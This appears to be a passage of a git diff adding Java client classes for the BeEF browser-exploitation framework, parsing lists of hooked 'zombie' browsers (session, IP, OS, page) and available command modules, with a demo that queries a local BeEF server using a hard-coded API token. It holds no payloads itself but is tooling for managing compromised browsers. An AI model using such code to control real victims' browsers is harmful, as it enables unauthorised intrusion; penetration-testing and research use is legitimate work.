+ System.out.println("No Command, may be your API key is incorrect !"); +} else{ + for (int i = 0; i < jsonCommandlist.size(); i++){ + + try { + Commands cmd = new Commands(); + JSONObject cmdid = jsonCommandlist.getJSONObject(""+i); + cmd.setId(cmdid.getString("id")); + cmd.setName(cmdid.getString("name")); + cmd.setCategory(cmdid.getString("category")); + Commandslist[i] = cmd; + } + catch (JSONException e){System.out.println( "ERROR: " + e );} +} + } + return Commandslist ; + } + + public static Commands extractOnecmd(String jsontxt , int rang) { + Commands cmdGroup[] = CommandList.extractCommands(jsontxt); + return cmdGroup[rang]; + } + + public static String extractcmdData(String jsontxt , int rang, String value) { + + Commands cmdGroup[] = CommandList.extractCommands(jsontxt); + String a = null; + + if (value.equals("id")){ a = cmdGroup[rang].getId(); } + else if(value.equals("name")) {a = cmdGroup[rang].getName();} + else if(value.equals("category")) {a = cmdGroup[rang].getCategory();} + return a ; + } + } + + + diff --git a/beef_strike/src/com/eyesopencrew/Commands.java b/beef_strike/src/com/eyesopencrew/Commands.java new file mode 100644 index 0000000..669a59f --- /dev/null +++ b/beef_strike/src/com/eyesopencrew/Commands.java @@ -0,0 +1,53 @@ +package com.eyesopencrew; + +/** + * @author Beny Green - gacksecurity.blogspot.com + * EyesOpenCrew - + * + * Object representation of one commandes from command list. + */ +public class Commands { + private String id; + private String name; + private String category; + + /** + * + * @return id + */ + public String getId() { + return id; + } + /** + * + * @param id + */ + public void setId(String id) { + this.id = id; + } + + /** + * + * @return name + */ + public String getName() { + return name; + } + /** + * + * @param name + */ + public void setName(String name) { + this.name = name; + } + + public String getCategory() { + return category; + } + + public void setCategory(String category) { + this.category = category; + } + + +} diff --git a/beef_strike/src/com/eyesopencrew/OfflineClass.java b/beef_strike/src/com/eyesopencrew/OfflineClass.java new file mode 100644 index 0000000..af4207c --- /dev/null +++ b/beef_strike/src/com/eyesopencrew/OfflineClass.java @@ -0,0 +1,90 @@ +package com.eyesopencrew; + +import net.sf.json.JSONException; +import net.sf.json.JSONObject; +import net.sf.json.JSONSerializer; + +/** + * @author Beny Green - gacksecurity.blogspot.com + * + * EyesOpenCrew + */ +public class OfflineClass { +//List of offline zombies + /** + * + * @param jsontxt + * @return Zombie[] + * - Extract offline zombies from Json representation. + * + */ + public static Zombies[] extractOffline(String jsontxt){ + + JSONObject json = (JSONObject) JSONSerializer.toJSON( jsontxt ); + JSONObject Offline = json.getJSONObject("hooked-browsers").getJSONObject("offline"); + Zombies zombieGroup[] = new Zombies[Offline.size()]; +if (Offline.isEmpty()){ + System.out.println("You have No zombie bro !"); +} else{ + for (int i = 0; i < Offline.size(); i++){ + + try { + Zombies zombie = new Zombies(); + JSONObject zombieid = Offline.getJSONObject(""+i); + zombie.setSession(zombieid.getString("session")); + zombie.setName(zombieid.getString("name")); + zombie.setVersion(zombieid.getString("version")); + zombie.setOs(zombieid.getString("os")); + zombie.setPlatform(zombieid.getString("platform")); + zombie.setIp(zombieid.getString("ip")); + zombie.setPort(zombieid.getString("port")); + zombie.setDomain(zombieid.getString("domain")); + zombie.setPage_uri(zombieid.getString("page_uri")); + zombieGroup[i] = zombie; + } + catch (JSONException e){System.out.println( "ERROR: " + e );} +} + } + return zombieGroup ; + } + /** + * + * @param jsontxt + * @param rang + * @return Zombies + * + * Extract one offline zombie obtained from Json representation. + */ + public static Zombies extractOneZombie(String jsontxt , int rang) { + Zombies zombieGroup[] = OfflineClass.extractOffline(jsontxt); + return zombieGroup[rang]; + } + /** + * + * @param jsontxt + * @param rang + * @param value + * @return String + * + * Extract a particular data about a particular offline zombie obtained from a Json representation. + */ + public static String extractZombieData(String jsontxt , int rang, String value) { + + Zombies zombieGroup[] = OfflineClass.extractOffline(jsontxt); + String a = null; + + if (value.equals("session")){ a = zombieGroup[rang].getSession(); } + else if(value.equals("name")) {a = zombieGroup[rang].getName();} + else if(value.equals("version")) {a = zombieGroup[rang].getVersion();} + else if(value.equals("os")) {a = zombieGroup[rang].getOs();} + else if(value.equals("platform")) {a = zombieGroup[rang].getPlatform();} + else if(value.equals("ip")) {a = zombieGroup[rang].getIp();} + else if(value.equals("port")) {a = zombieGroup[rang].getPort();} + else if(value.equals("domain")) {a = zombieGroup[rang].getDomain();} + else if(value.equals("page_uri")) {a = zombieGroup[rang].getPage_uri();} + return a ; + } + } + + + diff --git a/beef_strike/src/com/eyesopencrew/OnlineClass.java b/beef_strike/src/com/eyesopencrew/OnlineClass.java new file mode 100644 index 0000000..5e08a30 --- /dev/null +++ b/beef_strike/src/com/eyesopencrew/OnlineClass.java @@ -0,0 +1,92 @@ +package com.eyesopencrew; + +import net.sf.json.JSONException; +import net.sf.json.JSONObject; +import net.sf.json.JSONSerializer; + +/** + * @author Beny Green - gacksecurity.blogspot.com + * + * EyesOpenCrew + */ + +public class OnlineClass { + + /** + * + * @param jsontxt + * @return Zombies[] + * + * - Extract zombies obtained from Json representation. + */ + public static Zombies[] extractOnline(String jsontxt){ + + JSONObject json = (JSONObject) JSONSerializer.toJSON( jsontxt ); + JSONObject online = json.getJSONObject("hooked-browsers").getJSONObject("online"); + + Zombies[] zombieGroup = new Zombies[online.size()]; +if (online.isEmpty()){ + System.out.println("You have No zombie bro !"); + return zombieGroup ; +} else{ + for (int i = 0; i < online.size(); i++){ + try { + Zombies zombie = new Zombies(); + JSONObject zombieid = online.getJSONObject(""+i); + zombie.setSession(zombieid.getString("session")); + zombie.setName(zombieid.getString("name")); + zombie.setVersion(zombieid.getString("version")); + zombie.setOs(zombieid.getString("os")); + zombie.setPlatform(zombieid.getString("platform")); + zombie.setIp(zombieid.getString("ip")); + zombie.setPort(zombieid.getString("port")); + zombie.setDomain(zombieid.getString("domain")); + zombie.setPage_uri(zombieid.getString("page_uri")); + zombieGroup[i] = zombie; + //System.out.println(zombieGroup[i].getOs()); + } + catch (JSONException e){System.out.println( "ERROR: " + e );} + } + return zombieGroup ; + } + } + /** + * + * @param jsontxt + * @param rang + * @return Zombies + * + * Extract one online zombie obtained from a Json representation. + */ + public static Zombies extractOneZombie(String jsontxt , int rang) { + Zombies zombieGroup[] = OnlineClass.extractOnline(jsontxt); + return zombieGroup[rang]; + + } + /** + * + * @param jsontxt + * @param rang + * @param value + * @return String + * + * * extract a particular data about a particular online zombie obtained from a Json representation. + */ + public static String extractZombieData(String jsontxt , int rang, String value) { + + Zombies zombieGroup[] = OnlineClass.extractOnline(jsontxt); + String a = null; + + if (value.equals("session")){ a = zombieGroup[rang].getSession(); } + else if(value.equals("name")) {a = zombieGroup[rang].getName();} + else if(value.equals("version")) {a = zombieGroup[rang].getVersion();} + else if(value.equals("os")) {a = zombieGroup[rang].getOs();} + else if(value.equals("platform")) {a = zombieGroup[rang].getPlatform();} + else if(value.equals("ip")) {a = zombieGroup[rang].getIp();} + else if(value.equals("port")) {a = zombieGroup[rang].getPort();} + else if(value.equals("domain")) {a = zombieGroup[rang].getDomain();} + else if(value.equals("page_uri")) {a = zombieGroup[rang].getPage_uri();} + return a ; + } + } + diff --git a/beef_strike/src/com/eyesopencrew/Zombies.java b/beef_strike/src/com/eyesopencrew/Zombies.java new file mode 100644 index 0000000..fd19d30 --- /dev/null +++ b/beef_strike/src/com/eyesopencrew/Zombies.java @@ -0,0 +1,162 @@ +package com.eyesopencrew; + +/** + * @author Beny Green - gacksecurity.blogspot.com + * EyesOpenCrew - + * + * Object representation of one zombie. + */ +public class Zombies { + private String id; + private String session; + private String name; + private String version; + private String os; + private String platform; + private String ip; + private String domain; + private String port; + private String page_uri; + + /** + * + * @return id + */ + public String getId() { + return id; + } + /** + * + * @param id + */ + public void setId(String id) { + this.id = id; + } + /** + * + * @return session + */ + public String getSession() { + return session; + } + /** + * + * @param session + */ + public void setSession(String session) { + this.session = session; + } + /** + * + * @return name + */ + public String getName() { + return name; + } + /** + * + * @param name + */ + public void setName(String name) { + this.name = name; + } + /** + * + * @return version + */ + public String getVersion() { + return version; + } + /** + * + * @param version + */ + public void setVersion(String version) { + this.version = version; + } + /** + * + * @return os + */ + public String getOs() { + return os; + } + /** + * + * @param os + */ + public void setOs(String os) { + this.os = os; + } + /** + * + * @return platform + */ + public String getPlatform() { + return platform; + } + /** + * + * @param platform + */ + public void setPlatform(String platform) { + this.platform = platform; + } + /** + * + * @return ip + */ + public String getIp() { + return ip; + } + /** + * + * @param ip + */ + public void setIp(String ip) { + this.ip = ip; + } + /** + * + * @return domain + */ + public String getDomain() { + return domain; + } + /** + * + * @param domain + */ + public void setDomain(String domain) { + this.domain = domain; + } + /** + * + * @return port + */ + public String getPort() { + return port; + } + /** + * + * @param port + */ + public void setPort(String port) { + this.port = port; + } + /** + * + * @return page_uri + */ + public String getPage_uri() { + return page_uri; + } + /** + * + * @param page_uri + */ + public void setPage_uri(String page_uri) { + this.page_uri = page_uri; + } + +} diff --git a/beef_strike/src/com/eyesopencrew/demo b/beef_strike/src/com/eyesopencrew/demo new file mode 100644 index 0000000..537c212 --- /dev/null +++ b/beef_strike/src/com/eyesopencrew/demo @@ -0,0 +1,23 @@ +package eyesopensec; + +import net.sf.json.JSONObject; +import net.sf.json.JSONSerializer; + +/** + * + * @author The-BenyGreen + */ +public class NewMain { + public static String hooks; + public static void main(String[] args) { + // TODO code application logic here + String jsonTxt = "{\"hooked-browsers\":{\"online\":{\"0\":{\"id\":1,\"session\":\"oEXEG6IC41b29JtJ5huJaz\",\"name\":\"S\",\"version\":\"UNKNOWN\",\"os\":\"Linux\",\"platform\":\"Linux i686\",\"ip\":\"192.168.1.110\",\"domain\":\"192.168.1.110\",\"port\":\"4000\",\"page_uri\":\"basic.html\"}},\"offline\":{}}}"; + System.out.println("Result: " + OnlineClass.extractZombieData(jsonTxt, 0, "ip") + " >> " + OnlineClass.extractZombieData(jsonTxt, 0, "session")); + + String a = "http://192.168.1.23:4000/api/modules?token=86a09ffe2942a64a7670484401524f864e401b9a"; + String j = BeefRequester.BeefGetRequest(a); + int c = CommandList.extractCommands(j).length ; + System.out.println(c); + System.out.println(CommandList.extractOnecmd(j, 108).getName()); + } +} \ No newline at end of file diff --git a/beef_strike/zombie.png b/beef_strike/zombie.png new file mode 100644 index 0000000..5ac2b75 Binary files /dev/null and b/beef_strike/zombie.png differ diff --git a/beef_strike/zombieoff.png b/beef_strike/zombieoff.png new file mode 100644 index 0000000..8790172 Binary files /dev/null and b/beef_strike/zombieoff.png differ